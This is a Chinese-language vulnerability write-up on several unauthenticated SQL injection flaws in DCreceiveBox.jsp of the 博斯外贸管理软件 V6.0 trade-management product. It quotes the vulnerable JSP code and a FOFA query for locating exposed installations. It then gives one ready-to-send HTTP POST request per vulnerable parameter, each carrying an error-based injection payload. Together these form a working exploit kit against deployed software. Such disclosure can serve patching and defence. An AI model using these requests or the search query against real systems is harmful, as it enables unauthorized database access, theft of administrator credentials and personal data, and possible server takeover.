博斯外贸管理软件 DCreceiveBox.jsp 多处SQL注入漏洞


漏洞简介

博斯外贸管理软件是杭州博斯有限公司推出的一款针对外贸业务的管理软件。博斯外贸管理软件V6.0 DCreceiveBox.jsp 接口多个参数均存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

博斯外贸管理软件V6.0

fofa语法

title="欢迎使用 博斯软件"

漏洞分析

直接看 /crm/module/DCreceiveBox.jsp 的代码实现部分

try{
    interfaceBean.SearchBean sb=new interfaceBean.SearchBean(request,out);
    sb.setFormHidden();
    interfaceBean.DropOptions op=new interfaceBean.DropOptions();
    String SAVE=common.API.convertToMemory(request.getParameter("SAVE"));
    if(!"".equals(SAVE)){
       String NOWKEY=common.API.convertToMemory(request.getParameter("NOWKEY"));
       if(!NOWKEY.equals("")){
          db.execute("update crm_email_mail set c_ex13='"+SAVE+"' where commonid='"+NOWKEY+"'");
          //MESSAGE=" 优先级设置成功!";
       }
    }

如果SAVE、SAVE不等于空时,SAVE、NOWKEY 拼接进SQL语句,造成SQL注入。

<%
    String SuserName=(String)session.getAttribute("userName");
    String SuserId=(String)session.getAttribute("userId");
    String nowUserId=common.API.convertToMemory(request.getParameter("nowUserId"));
    if(!"".equals(nowUserId))SuserId=nowUserId;
    String SHUXING=common.API.convertToMemory(request.getParameter("SHUXING"));
%>

if(!USERKF.equals("")){
.....
}else{
    op.add("","全部");
    ResultSet rsmail=db.executeQuery("select * from crm_usermail where c_id = 'system' or c_id = '"+SuserId+"' order by c_id");

如果 USERKF 等于空,则进入else 执行SQL语句,SuserId ==> nowUserId 拼接进SQL语句,造成SQL注入。

if("YJZY".equals(setCustom)){
    //System.out.println("aaaaaaaaaaaaaaaa");
    String authes=request.getParameter("authes");
    String strfxlx=request.getParameter("fxlx");
    //System.out.println(strfxlx+"aaaaa"+authes);
    String strsql1="";
    if(authes.indexOf("$")!=-1){
       StringTokenizer sz=new StringTokenizer(authes,"$");//得到该邮件的ID号
       while(sz.hasMoreTokens()){
          if("".equals(strsql1))strsql1="commonid ="+sz.nextToken();
          strsql1+=" or commonid ="+sz.nextToken();
       }
    }else{
       strsql1="commonid ="+authes;
    }
       System.out.println("update crm_email_Mail set c_ex1='"+strfxlx+"' where "+strsql1);
       db.execute("update crm_email_Mail set c_ex1='"+strfxlx+"' where "+strsql1);
    MESSAGE="邮件移动成功!";
}

当 setCustom=YJZY 是,authes不包含 $ ,authes、fxlx 拼接进SQL语句造成SQL注入。

String setAUTOGJ=request.getParameter("setAUTOGJ");
if("Y".equals(setAUTOGJ)){
    String NOWGJ=common.API.convertToMemory(request.getParameter("NOWGJ"));

    db.execute("update bas_customdtl set c_ex5='Y' where c_ex5='N' and c_ex7="+NOWGJ);
    db.execute("update crm_email_Mail set c_ex12='Y' where c_ex12='N' and commonid="+NOWGJ);

    //out.println("update bas_customdtl set c_ex5='Y' where c_ex5='N' and c_ex7="+NOWGJ);
    MESSAGE="老客户邮件设置自动跟进成功!";
}

当 setAUTOGJ=Y时,NOWGJ 直接拼接进SQL语句造成SQL注入。

String List=common.API.convertToMemory(request.getParameter("list"));
sql+=" from crm_email_emailUser,crm_email_Mail where crm_email_Mail.commonid=crm_email_emailUser.mailId and (crm_email_emailUser.mailType=3 or crm_email_emailUser.mailType=4) and crm_email_emailUser.isdeleted=0 and crm_email_emailUser.userId="+SuserId+" and crm_email_Mail.c_ex1='"+List+"'";

list 直接拼接进SQL语句造成SQL注入。

if(!USERKF.equals("")){//从开发过来的场合
                        String strWhere=" and (bas_custom.c_ex1='"+SuserId+"' or bas_custom.c_ex2='"+SuserId+"' or bas_custom.c_ex2 like '%;"+SuserId+";%' or bas_custom.c_ex2 like '"+SuserId+";%') and (bas_custom.c_ex1='"+USERKF+"') ";

如果 USERKF 不为空,则直接拼接进SQL语句,造成SQL注入。

if(!USERKF.equals("")){//从开发过来的场合
    if(common.API.convertToMemory(request.getParameter("sortkey")).equals("")==false){
       sql1+=" order by "+common.API.convertToMemory(request.getParameter("sortkey"))+" "+common.API.convertToMemory(request.getParameter("sortmethod"));
    }else{
       sql1+=" order by c_date desc";
    }
}else{
    if(common.API.convertToMemory(request.getParameter("sortkey")).equals("")==false){
       sql1+=" order by crm_email_Mail."+common.API.convertToMemory(request.getParameter("sortkey"))+" "+common.API.convertToMemory(request.getParameter("sortmethod"));
       if(common.API.convertToMemory(request.getParameter("sortkey")).indexOf("SendDate")==-1){
          sql1+=" ,crm_email_Mail.SendDate desc";
       }
    }else{
       sql1+=" order by crm_email_Mail.SendDate desc,crm_email_Mail.commonId desc";
    }
}

不管 USERKF 是否为空,sortkey 均直接拼接进order by 语句SQL语句造成SQL注入漏洞(需要注意 order by 语句后的列名必须是存在的才可注入)。

漏洞复现

NOWKEY

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

SAVE=1&setCustom=YJZY&NOWKEY='and+1=@@version--

也是通过报错注入,成功爆出数据库版本信息。

SAVE

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

SAVE=1'and+1=@@version--&setCustom=YJZY&NOWKEY=1

nowUserId

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

nowUserId=1'and+1=@@version--

YJZY

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

fxlx=1&setCustom=YJZY&authes=1+and+1=@@version--

setAUTOGJ

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

setAUTOGJ=Y&NOWGJ=1+and+1=@@version--

list

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

list=1'and+1=@@version--

USERKF

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

USERKF=1')and+1=@@version--

sortkey

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

sortkey=SendDate+and+1=@@version--

手机扫码阅读

汉塔科技上网行为管理系统 cappkt.php 命令注入漏洞

汉塔科技上网行为管理系统 ping.php 命令注入漏洞

评 论